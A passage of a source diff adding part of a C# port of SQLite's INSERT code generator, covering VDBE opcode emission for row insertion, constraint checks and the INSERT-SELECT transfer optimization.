OP_NewRowid; + pOp.p1 = baseCur; + pOp.p2 = regRowid; + pOp.p3 = regAutoinc; + } + } + /* If the PRIMARY KEY expression is NULL, then use OP_NewRowid + ** to generate a unique primary key value. + */ + if ( !appendFlag ) + { + int j1; + if ( !IsVirtual( pTab ) ) + { + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regRowid ); + sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); + sqlite3VdbeJumpHere( v, j1 ); + } + else + { + j1 = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_IsNull, regRowid, j1 + 2 ); + } + sqlite3VdbeAddOp1( v, OP_MustBeInt, regRowid ); + } + } + else if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, regRowid ); + } + else + { + sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); + appendFlag = true; + } + autoIncStep( pParse, regAutoinc, regRowid ); + + /* Push onto the stack, data for all columns of the new entry, beginning + ** with the first column. + */ + nHidden = 0; + for ( i = 0 ; i < pTab.nCol ; i++ ) + { + int iRegStore = regRowid + 1 + i; + if ( i == pTab.iPKey ) + { + /* The value of the INTEGER PRIMARY KEY column is always a NULL. + ** Whenever this column is read, the record number will be substituted + ** in its place. So will fill this column with a NULL to avoid + ** taking up data space with information that will never be used. */ + sqlite3VdbeAddOp2( v, OP_Null, 0, iRegStore ); + continue; + } + if ( pColumn == null ) + { + if ( IsHiddenColumn( pTab.aCol[i] ) ) + { + Debug.Assert( IsVirtual( pTab ) ); + j = -1; + nHidden++; + } + else + { + j = i - nHidden; + } + } + else + { + for ( j = 0 ; j < pColumn.nId ; j++ ) + { + if ( pColumn.a[j].idx == i ) break; + } + } + if ( j < 0 || nColumn == 0 || ( pColumn != null && j >= pColumn.nId ) ) + { + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, iRegStore ); + } + else if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, iRegStore ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + j, iRegStore ); + } + else + { + sqlite3ExprCode( pParse, pList.a[j].pExpr, iRegStore ); + } + } + + /* Generate code to check constraints and generate index keys and + ** do the insertion. + */ +#if !SQLITE_OMIT_VIRTUALTABLE + if( IsVirtual(pTab) ){ + const char *pVTab = (const char *)sqlite3GetVTable(db, pTab); + sqlite3VtabMakeWritable(pParse, pTab); + sqlite3VdbeAddOp4(v, OP_VUpdate, 1, pTab->nCol+2, regIns, pVTab, P4_VTAB); + }else +#endif + { + int isReplace = 0; /* Set to true if constraints may cause a replace */ + sqlite3GenerateConstraintChecks( pParse, pTab, baseCur, regIns, aRegIdx, + keyColumn >= 0, false, onError, endOfLoop, ref isReplace + ); + sqlite3CompleteInsertion( + pParse, pTab, baseCur, regIns, aRegIdx, false, + ( tmask & TRIGGER_AFTER ) != 0 ? newIdx : -1, appendFlag, isReplace == 0 + ); + } + } + + /* Update the count of rows that are inserted + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_AddImm, regRowCount, 1 ); + } + +#if !SQLITE_OMIT_TRIGGER + if ( pTrigger != null ) + { + /* Code AFTER triggers */ + u32 Ref0_1 = 0; + u32 Ref0_2 = 0; + if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_AFTER, + pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 ) + { + goto insert_cleanup; + } + } +#endif + + /* The bottom of the main insertion loop, if the data source +** is a SELECT statement. +*/ + sqlite3VdbeResolveLabel( v, endOfLoop ); + if ( useTempTable ) + { + sqlite3VdbeAddOp2( v, OP_Next, srcTab, addrCont ); + sqlite3VdbeJumpHere( v, addrInsTop ); + sqlite3VdbeAddOp1( v, OP_Close, srcTab ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrCont ); + sqlite3VdbeJumpHere( v, addrInsTop ); + } + + if ( !IsVirtual( pTab ) && !isView ) + { + /* Close all tables opened */ + sqlite3VdbeAddOp1( v, OP_Close, baseCur ); + for ( idx = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, idx++ ) + { + sqlite3VdbeAddOp1( v, OP_Close, idx + baseCur ); + } + } + +insert_end: + /* Update the sqlite_sequence table by storing the content of the + ** maximum rowid counter values recorded while inserting into + ** autoincrement tables. + */ + if ( pParse.nested == 0 && pParse.trigStack == null ) + { + sqlite3AutoincrementEnd( pParse ); + } + + /* + ** Return the number of rows inserted. If this routine is + ** generating code because of a call to sqlite3NestedParse(), do not + ** invoke the callback function. + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, regRowCount, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows inserted", SQLITE_STATIC ); + } + +insert_cleanup: + sqlite3SrcListDelete( db, ref pTabList ); + sqlite3ExprListDelete( db, ref pList ); + sqlite3SelectDelete( db, ref pSelect ); + sqlite3IdListDelete( db, ref pColumn ); + //sqlite3DbFree( db, ref aRegIdx ); + } + + /* + ** Generate code to do constraint checks prior to an INSERT or an UPDATE. + ** + ** The input is a range of consecutive registers as follows: + ** + ** 1. The rowid of the row to be updated before the update. This + ** value is omitted unless we are doing an UPDATE that involves a + ** change to the record number or writing to a virtual table. + ** + ** 2. The rowid of the row after the update. + ** + ** 3. The data in the first column of the entry after the update. + ** + ** i. Data from middle columns... + ** + ** N. The data in the last column of the entry after the update. + ** + ** The regRowid parameter is the index of the register containing (2). + ** + ** The old rowid shown as entry (1) above is omitted unless both isUpdate + ** and rowidChng are 1. isUpdate is true for UPDATEs and false for + ** INSERTs. RowidChng means that the new rowid is explicitly specified by + ** the update or insert statement. If rowidChng is false, it means that + ** the rowid is computed automatically in an insert or that the rowid value + ** is not modified by the update. + ** + ** The code generated by this routine store new index entries into + ** registers identified by aRegIdx[]. No index entry is created for + ** indices where aRegIdx[i]==0. The order of indices in aRegIdx[] is + ** the same as the order of indices on the linked list of indices + ** attached to the table. + ** + ** This routine also generates code to check constraints. NOT NULL, + ** CHECK, and UNIQUE constraints are all checked. If a constraint fails, + ** then the appropriate action is performed. There are five possible + ** actions: ROLLBACK, ABORT, FAIL, REPLACE, and IGNORE. + ** + ** Constraint type Action What Happens + ** --------------- ---------- ---------------------------------------- + ** any ROLLBACK The current transaction is rolled back and + ** sqlite3_exec() returns immediately with a + ** return code of SQLITE_CONSTRAINT. + ** + ** any ABORT Back out changes from the current command + ** only (do not do a complete rollback) then + ** cause sqlite3_exec() to return immediately + ** with SQLITE_CONSTRAINT. + ** + ** any FAIL Sqlite_exec() returns immediately with a + ** return code of SQLITE_CONSTRAINT. The + ** transaction is not rolled back and any + ** prior changes are retained. + ** + ** any IGNORE The record number and data is popped from + ** the stack and there is an immediate jump + ** to label ignoreDest. + ** + ** NOT NULL REPLACE The NULL value is replace by the default + ** value for that column. If the default value + ** is NULL, the action is the same as ABORT. + ** + ** UNIQUE REPLACE The other row that conflicts with the row + ** being inserted is removed. + ** + ** CHECK REPLACE Illegal. The results in an exception. + ** + ** Which action to take is determined by the overrideError parameter. + ** Or if overrideError==OE_Default, then the pParse.onError parameter + ** is used. Or if pParse.onError==OE_Default then the onError value + ** for the constraint is used. + ** + ** The calling routine must open a read/write cursor for pTab with + ** cursor number "baseCur". All indices of pTab must also have open + ** read/write cursors with cursor number baseCur+i for the i-th cursor. + ** Except, if there is no possibility of a REPLACE action then + ** cursors do not need to be open for indices where aRegIdx[i]==0. + */ + static void sqlite3GenerateConstraintChecks( + Parse pParse, /* The parser context */ + Table pTab, /* the table into which we are inserting */ + int baseCur, /* Index of a read/write cursor pointing at pTab */ + int regRowid, /* Index of the range of input registers */ + int[] aRegIdx, /* Register used by each index. 0 for unused indices */ + bool rowidChng, /* True if the rowid might collide with existing entry */ + bool isUpdate, /* True for UPDATE, False for INSERT */ + int overrideError, /* Override onError to this if not OE_Default */ + int ignoreDest, /* Jump to this label on an OE_Ignore resolution */ + ref int pbMayReplace /* OUT: Set to true if constraint may cause a replace */ + ) + { + + int i; /* loop counter */ + Vdbe v; /* VDBE under constrution */ + int nCol; /* Number of columns */ + int onError; /* Conflict resolution strategy */ + int j1; /* Addresss of jump instruction */ + int j2 = 0, j3; /* Addresses of jump instructions */ + int regData; /* Register containing first data column */ + int iCur; /* Table cursor number */ + Index pIdx; /* Pointer to one of the indices */ + bool seenReplace = false; /* True if REPLACE is used to resolve INT PK conflict */ + bool hasTwoRowids = ( isUpdate && rowidChng ); + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ + nCol = pTab.nCol; + regData = regRowid + 1; + + + /* Test all NOT NULL constraints. + */ + for ( i = 0 ; i < nCol ; i++ ) + { + if ( i == pTab.iPKey ) + { + continue; + } + onError = pTab.aCol[i].notNull; + if ( onError == OE_None ) continue; + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( onError == OE_Replace && pTab.aCol[i].pDflt == null ) + { + onError = OE_Abort; + } + Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail + || onError == OE_Ignore || onError == OE_Replace ); + switch ( onError ) + { + case OE_Rollback: + case OE_Abort: + case OE_Fail: + { + string zMsg; + j1 = sqlite3VdbeAddOp3( v, OP_HaltIfNull, + SQLITE_CONSTRAINT, onError, regData + i ); + zMsg = sqlite3MPrintf( pParse.db, "%s.%s may not be NULL", + pTab.zName, pTab.aCol[i].zName ); + sqlite3VdbeChangeP4( v, -1, zMsg, P4_DYNAMIC ); + break; + } + case OE_Ignore: + { + sqlite3VdbeAddOp2( v, OP_IsNull, regData + i, ignoreDest ); + break; + } + default: + { + Debug.Assert( onError == OE_Replace ); + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regData + i ); + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regData + i ); + sqlite3VdbeJumpHere( v, j1 ); + break; + } + } + } + + /* Test all CHECK constraints + */ +#if !SQLITE_OMIT_CHECK + if ( pTab.pCheck != null && ( pParse.db.flags & SQLITE_IgnoreChecks ) == 0 ) + { + int allOk = sqlite3VdbeMakeLabel( v ); + pParse.ckBase = regData; + sqlite3ExprIfTrue( pParse, pTab.pCheck, allOk, SQLITE_JUMPIFNULL ); + onError = overrideError != OE_Default ? overrideError : OE_Abort; + if ( onError == OE_Ignore ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_CONSTRAINT, onError ); + } + sqlite3VdbeResolveLabel( v, allOk ); + } +#endif // * !SQLITE_OMIT_CHECK) */ + + /* If we have an INTEGER PRIMARY KEY, make sure the primary key +** of the new record does not previously exist. Except, if this +** is an UPDATE and the primary key is not changing, that is OK. +*/ + if ( rowidChng ) + { + onError = pTab.keyConf; + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + + if ( onError != OE_Replace || pTab.pIndex != null ) + { + if ( isUpdate ) + { + j2 = sqlite3VdbeAddOp3( v, OP_Eq, regRowid, 0, regRowid - 1 ); + } + j3 = sqlite3VdbeAddOp3( v, OP_NotExists, baseCur, 0, regRowid ); + switch ( onError ) + { + default: + { + onError = OE_Abort; + /* Fall thru into the next case */ + } + goto case OE_Rollback; + case OE_Rollback: + case OE_Abort: + case OE_Fail: + { + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, + "PRIMARY KEY must be unique", P4_STATIC ); + break; + } + case OE_Replace: + { + sqlite3GenerateRowIndexDelete( pParse, pTab, baseCur, 0 ); + seenReplace = true; + break; + } + case OE_Ignore: + { + Debug.Assert( !seenReplace ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + break; + } + } + sqlite3VdbeJumpHere( v, j3 ); + if ( isUpdate ) + { + sqlite3VdbeJumpHere( v, j2 ); + } + } + } + + /* Test all UNIQUE constraints by creating entries for each UNIQUE + ** index and making sure that duplicate entries do not already exist. + ** Add the new records to the indices as we go. + */ + for ( iCur = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, iCur++ ) + { + int regIdx; + int regR; + + if ( aRegIdx[iCur] == 0 ) continue; /* Skip unused indices */ + + /* Create a key for accessing the index entry */ + regIdx = sqlite3GetTempRange( pParse, pIdx.nColumn + 1 ); + for ( i = 0 ; i < pIdx.nColumn ; i++ ) + { + int idx = pIdx.aiColumn[i]; + if ( idx == pTab.iPKey ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); + } + else + { + sqlite3VdbeAddOp2( v, OP_SCopy, regData + idx, regIdx + i ); + } + } + sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regIdx, pIdx.nColumn + 1, aRegIdx[iCur] ); + sqlite3IndexAffinityStr( v, pIdx ); + sqlite3ExprCacheAffinityChange( pParse, regIdx, pIdx.nColumn + 1 ); + + /* Find out what action to take in case there is an indexing conflict */ + onError = pIdx.onError; + if ( onError == OE_None ) + { + sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); + continue; /* pIdx is not a UNIQUE index */ + } + + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( seenReplace ) + { + if ( onError == OE_Ignore ) onError = OE_Replace; + else if ( onError == OE_Fail ) onError = OE_Abort; + } + + + /* Check to see if the new index entry will be unique */ + regR = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_SCopy, regRowid - ( hasTwoRowids ? 1 : 0 ), regR ); + j3 = sqlite3VdbeAddOp4( v, OP_IsUnique, baseCur + iCur + 1, 0, + regR, regIdx,//regR, SQLITE_INT_TO_PTR(regIdx), + P4_INT32 ); + sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); + + /* Generate code that executes if the new index entry is not unique */ + Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail + || onError == OE_Ignore || onError == OE_Replace ); + switch ( onError ) + { + case OE_Rollback: + case OE_Abort: + case OE_Fail: + { + int j; + StrAccum errMsg = new StrAccum(); + string zSep; + string zErr; + + sqlite3StrAccumInit( errMsg, new StringBuilder( 200 ), 0, 200 ); + errMsg.db = pParse.db; + zSep = pIdx.nColumn > 1 ? "columns " : "column "; + for ( j = 0 ; j < pIdx.nColumn ; j++ ) + { + string zCol = pTab.aCol[pIdx.aiColumn[j]].zName; + sqlite3StrAccumAppend( errMsg, zSep, -1 ); + zSep = ", "; + sqlite3StrAccumAppend( errMsg, zCol, -1 ); + } + sqlite3StrAccumAppend( errMsg, + pIdx.nColumn > 1 ? " are not unique" : " is not unique", -1 ); + zErr = sqlite3StrAccumFinish( errMsg ); + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, zErr, 0 ); + //sqlite3DbFree( errMsg.db, zErr ); + break; + } + case OE_Ignore: + { + Debug.Assert( !seenReplace ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + break; + } + default: + { + Debug.Assert( onError == OE_Replace ); + sqlite3GenerateRowDelete( pParse, pTab, baseCur, regR, 0 ); + seenReplace = true; + break; + } + } + sqlite3VdbeJumpHere( v, j3 ); + sqlite3ReleaseTempReg( pParse, regR ); + } + //if ( pbMayReplace ) + { + pbMayReplace = seenReplace ? 1 : 0; + } + } + + /* + ** This routine generates code to finish the INSERT or UPDATE operation + ** that was started by a prior call to sqlite3GenerateConstraintChecks. + ** A consecutive range of registers starting at regRowid contains the + ** rowid and the content to be inserted. + ** + ** The arguments to this routine should be the same as the first six + ** arguments to sqlite3GenerateConstraintChecks. + */ + static void sqlite3CompleteInsertion( + Parse pParse, /* The parser context */ + Table pTab, /* the table into which we are inserting */ + int baseCur, /* Index of a read/write cursor pointing at pTab */ + int regRowid, /* Range of content */ + int[] aRegIdx, /* Register used by each index. 0 for unused indices */ + bool isUpdate, /* True for UPDATE, False for INSERT */ + int newIdx, /* Index of NEW table for triggers. -1 if none */ + bool appendBias, /* True if this is likely to be an append */ + bool useSeekResult /* True to set the USESEEKRESULT flag on OP_[Idx]Insert */ + ) + { + int i; + Vdbe v; + int nIdx; + Index pIdx; + u8 pik_flags; + int regData; + int regRec; + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ + for ( nIdx = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, nIdx++ ) { } + for ( i = nIdx - 1 ; i >= 0 ; i-- ) + { + if ( aRegIdx[i] == 0 ) continue; + sqlite3VdbeAddOp2( v, OP_IdxInsert, baseCur + i + 1, aRegIdx[i] ); + if ( useSeekResult ) + { + sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); + } + } + regData = regRowid + 1; + regRec = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regData, pTab.nCol, regRec ); + sqlite3TableAffinityStr( v, pTab ); + sqlite3ExprCacheAffinityChange( pParse, regData, pTab.nCol ); +#if !SQLITE_OMIT_TRIGGER + if ( newIdx >= 0 ) + { + sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regRowid ); + } +#endif + if ( pParse.nested != 0 ) + { + pik_flags = 0; + } + else + { + pik_flags = OPFLAG_NCHANGE; + pik_flags |= ( isUpdate ? OPFLAG_ISUPDATE : OPFLAG_LASTROWID ); + } + if ( appendBias ) + { + pik_flags |= OPFLAG_APPEND; + } + if ( useSeekResult ) + { + pik_flags |= OPFLAG_USESEEKRESULT; + } + sqlite3VdbeAddOp3( v, OP_Insert, baseCur, regRec, regRowid ); + if ( pParse.nested == 0 ) + { + sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC ); + } + sqlite3VdbeChangeP5( v, pik_flags ); + } + + /* + ** Generate code that will open cursors for a table and for all + ** indices of that table. The "baseCur" parameter is the cursor number used + ** for the table. Indices are opened on subsequent cursors. + ** + ** Return the number of indices on the table. + */ + static int sqlite3OpenTableAndIndices( + Parse pParse, /* Parsing context */ + Table pTab, /* Table to be opened */ + int baseCur, /* VdbeCursor number assigned to the table */ + int op /* OP_OpenRead or OP_OpenWrite */ + ) + { + int i; + int iDb; + Index pIdx; + Vdbe v; + + if ( IsVirtual( pTab ) ) return 0; + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + sqlite3OpenTable( pParse, baseCur, iDb, pTab, op ); + for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, i++ ) + { + KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + sqlite3VdbeAddOp4( v, op, i + baseCur, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pIdx.zName ); +#endif + } + if ( pParse.nTab < baseCur + i ) + { + pParse.nTab = baseCur + i; + } + return i - 1; + } + + +#if SQLITE_TEST + /* +** The following global variable is incremented whenever the +** transfer optimization is used. This is used for testing +** purposes only - to make sure the transfer optimization really +** is happening when it is suppose to. +*/ + //static int sqlite3_xferopt_count = 0; +#endif // * SQLITE_TEST */ + + +#if !SQLITE_OMIT_XFER_OPT + /* +** Check to collation names to see if they are compatible. +*/ + static bool xferCompatibleCollation( string z1, string z2 ) + { + if ( z1 == null ) + { + return z2 == null; + } + if ( z2 == null ) + { + return false; + } + return sqlite3StrICmp( z1, z2 ) == 0; + } + + + /* + ** Check to see if index pSrc is compatible as a source of data + ** for index pDest in an insert transfer optimization. The rules + ** for a compatible index: + ** + ** * The index is over the same set of columns + ** * The same DESC and ASC markings occurs on all columns + ** * The same onError processing (OE_Abort, OE_Ignore, etc) + ** * The same collating sequence on each column + */ + static bool xferCompatibleIndex( Index pDest, Index pSrc ) + { + int i; + Debug.Assert( pDest != null && pSrc != null ); + Debug.Assert( pDest.pTable != pSrc.pTable ); + if ( pDest.nColumn != pSrc.nColumn ) + { + return false; /* Different number of columns */ + } + if ( pDest.onError != pSrc.onError ) + { + return false; /* Different conflict resolution strategies */ + } + for ( i = 0 ; i < pSrc.nColumn ; i++ ) + { + if ( pSrc.aiColumn[i] != pDest.aiColumn[i] ) + { + return false; /* Different columns indexed */ + } + if ( pSrc.aSortOrder[i] != pDest.aSortOrder[i] ) + { + return false; /* Different sort orders */ + } + if ( !xferCompatibleCollation( pSrc.azColl[i], pDest.azColl[i] ) ) + { + return false; /* Different collating sequences */ + } + } + + /* If no test above fails then the indices must be compatible */ + return true; + } + + /* + ** Attempt the transfer optimization on INSERTs of the form + ** + ** INSERT INTO tab1 SELECT * FROM tab2; + ** + ** This optimization is only attempted if + ** + ** (1) tab1 and tab2 have identical schemas including all the + ** same indices and constraints + ** + ** (2) tab1 and tab2 are different tables + ** + ** (3) There must be no triggers on tab1 + ** + ** (4) The result set of the SELECT statement is "*" + ** + ** (5) The SELECT statement has no WHERE, HAVING, ORDER BY, GROUP BY, + ** or LIMIT clause. + ** + ** (6) The SELECT statement is a simple (not a compound) select that + ** contains only tab2 in its FROM clause + ** + ** This method for implementing the INSERT transfers raw records from + ** tab2 over to tab1. The columns are not decoded. Raw records from + ** the indices of tab2 are transfered to tab1 as well. In so doing, + ** the resulting tab1 has much less fragmentation. + ** + ** This routine returns TRUE if the optimization is attempted. If any + ** of the conditions above fail so that the optimization should not + ** be attempted, then this routine returns FALSE. + */ + static int xferOptimization( + Parse pParse, /* Parser context */ + Table pDest, /* The table we are inserting into */ + Select pSelect, /* A SELECT statement to use as the data source */ + int onError, /* How to handle constraint errors */ + int iDbDest /* The database of pDest */ + ) + { + ExprList pEList; /* The result set of the SELECT */ + Table pSrc; /* The table in the FROM clause of SELECT */ + Index pSrcIdx, pDestIdx; /* Source and destination indices */ + SrcList_item pItem; /* An element of pSelect.pSrc */ + int i; /* Loop counter */ + int iDbSrc; /* The database of pSrc */ + int iSrc, iDest; /* Cursors from source and destination */ + int addr1, addr2; /* Loop addresses */ + int emptyDestTest; /* Address of test for empty pDest */ + int emptySrcTest; /* Address of test for empty pSrc */ + Vdbe v; /* The VDBE we are building */ + KeyInfo pKey; /* Key information for an index */ + int regAutoinc; /* Memory register used by AUTOINC */ + bool destHasUniqueIdx = false; /* True if pDest has a UNIQUE index */ + int regData, regRowid; /* Registers holding data and rowid */ + + if ( pSelect == null ) + { + return 0; /* Must be of the form INSERT INTO ... SELECT ... */ + } +#if !SQLITE_OMIT_TRIGGER + if ( sqlite3TriggerList( pParse, pDest ) != null ) + { + return 0; /* tab1 must not have triggers */ + } +#endif + + if ( ( pDest.tabFlags & TF_Virtual ) != 0 ) + { + return 0; /* tab1 must not be a virtual table */ + } + if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( onError != OE_Abort && onError != OE_Rollback ) + { + return 0; /* Cannot do OR REPLACE or OR IGNORE or OR FAIL */ + } + Debug.Assert( pSelect.pSrc != null ); /* allocated even if there is no FROM clause */ + if ( pSelect.pSrc.nSrc != 1 ) + { + return 0; /* FROM clause must have exactly one term */ + } + if ( pSelect.pSrc.a[0].pSelect != null ) + { + return 0; /* FROM clause cannot contain a subquery */ + } + if ( pSelect.pWhere != null ) + { + return 0; /* SELECT may not have a WHERE clause */ + } + if ( pSelect.pOrderBy != null ) + { + return 0; /* SELECT may not have an ORDER BY clause */ + } + /* Do not need to test for a HAVING clause. If HAVING is present but + ** there is no ORDER BY, we will get an error. */ + if ( pSelect.pGroupBy != null ) + { + return 0; /* SELECT may not have a GROUP BY clause */ + } + if ( pSelect.pLimit != null ) + { + return 0; /* SELECT may not have a LIMIT clause */ + } + Debug.Assert( pSelect.pOffset == null ); /* Must be so if pLimit==0 */ + if ( pSelect.pPrior != null ) + { + return 0; /* SELECT may not be a compound query */ + } + if ( ( pSelect.selFlags & SF_Distinct ) != 0 ) + { + return 0; /* SELECT may not be DISTINCT */ + } + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); + if ( pEList.nExpr != 1 ) + { + return 0; /* The result set must have exactly one column */ + } + Debug.Assert( pEList.a[0].pExpr != null ); + if ( pEList.a[0].pExpr.op != TK_ALL ) + { + return 0; /* The result set must be the special operator "*" */ + } + + /* At this point we have established that the statement is of the + ** correct syntactic form to participate in this optimization. Now + ** we have to check the semantics. + */ + pItem = pSelect.pSrc.a[0]; + pSrc = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); + if ( pSrc == null ) + { + return 0; /* FROM clause does not contain a real table */ + } + if ( pSrc == pDest ) + { + return 0; /* tab1 and tab2 may not be the same table */ + } + if ( ( pSrc.tabFlags & TF_Virtual ) != 0 ) + { + return 0; /* tab2 must not be a virtual table */ + } + if ( pSrc.pSelect != null ) + { + return 0; /* tab2 may not be a view */ + } + if ( pDest.nCol != pSrc.nCol ) + { + return 0; /* Number of columns must be the same in tab1 and tab2 */ + } + if ( pDest.iPKey != pSrc.iPKey ) + { + return 0; /* Both tables must have the same INTEGER PRIMARY KEY */ + } + for ( i = 0 ; i < pDest.nCol ; i++ ) + { + if ( pDest.aCol[i].affinity != pSrc.aCol[i].affinity ) + { + return 0; /* Affinity must be the same on all columns */ + } + if ( !xferCompatibleCollation( pDest.aCol[i].zColl, pSrc.aCol[i].zColl ) ) + { + return 0; /* Collating sequence must be the same on all columns */ + } + if ( pDest.aCol[i].notNull != 0 && pSrc.aCol[i].notNull == 0 ) + { + return 0; /* tab2 must be NOT NULL if tab1 is */ + } + } + for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext ) + { + if ( pDestIdx.onError != OE_None ) + { + destHasUniqueIdx = true; + } + for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext ) + { + if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break; + } + if ( pSrcIdx == null ) + { + return 0; /* pDestIdx has no corresponding index in pSrc */ + } + } +#if !SQLITE_OMIT_CHECK + if ( pDest.pCheck != null && !sqlite3ExprCompare( pSrc.pCheck, pDest.pCheck ) ) + { + return 0; /* Tables have different CHECK constraints. Ticket #2252 */ + } +#endif + + /* If we get this far, it means either: +** +** * We can always do the transfer if the table contains an +** an integer primary key +** +** * We can conditionally do the transfer if the destination +** table is empty. +*/ +#if SQLITE_TEST + sqlite3_xferopt_count.iValue++; +#endif + iDbSrc = sqlite3SchemaToIndex( pParse.db, pSrc.pSchema ); + v = sqlite3GetVdbe( pParse ); + sqlite3CodeVerifySchema( pParse, iDbSrc ); + iSrc = pParse.nTab++; + iDest = pParse.nTab++; + regAutoinc = autoIncBegin( pParse, iDbDest, pDest ); + sqlite3OpenTable( pParse, iDest, iDbDest, pDest, OP_OpenWrite ); + if ( ( pDest.iPKey < 0 && pDest.pIndex != null ) || destHasUniqueIdx ) + { + /* If tables do not have an INTEGER PRIMARY KEY and there + ** are indices to be copied and the destination is not empty, + ** we have to disallow the transfer optimization because the + ** the rowids might change which will mess up indexing. + ** + ** Or if the destination has a UNIQUE index and is not empty, + ** we also disallow the transfer optimization because we cannot + ** insure that all entries in the union of DEST and SRC will be + ** unique. + */ + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iDest, 0 ); + emptyDestTest = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + else + { + emptyDestTest = 0; + } + sqlite3OpenTable( pParse, iSrc, iDbSrc, pSrc, OP_OpenRead ); + emptySrcTest = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); + regData = sqlite3GetTempReg( pParse ); + regRowid = sqlite3GetTempReg( pParse ); + if ( pDest.iPKey >= 0 ) + { + addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); + addr2 = sqlite3VdbeAddOp3( v, OP_NotExists, iDest, 0, regRowid ); + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, + "PRIMARY KEY must be unique", P4_STATIC ); + sqlite3VdbeJumpHere( v, addr2 ); + autoIncStep( pParse, regAutoinc, regRowid ); + } + else if ( pDest.pIndex == null ) + { + addr1 = sqlite3VdbeAddOp2( v, OP_NewRowid, iDest, regRowid ); + } + else + { + addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); + Debug.Assert( ( pDest.tabFlags & TF_Autoincrement ) == 0 ); + } + sqlite3VdbeAddOp2( v, OP_RowData, iSrc, regData ); + sqlite3VdbeAddOp3( v, OP_Insert, iDest, regData, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_NCHANGE | OPFLAG_LASTROWID | OPFLAG_APPEND ); + sqlite3VdbeChangeP4( v, -1, pDest.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 ); + for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext ) + { + for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext ) + { + if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break; + } + 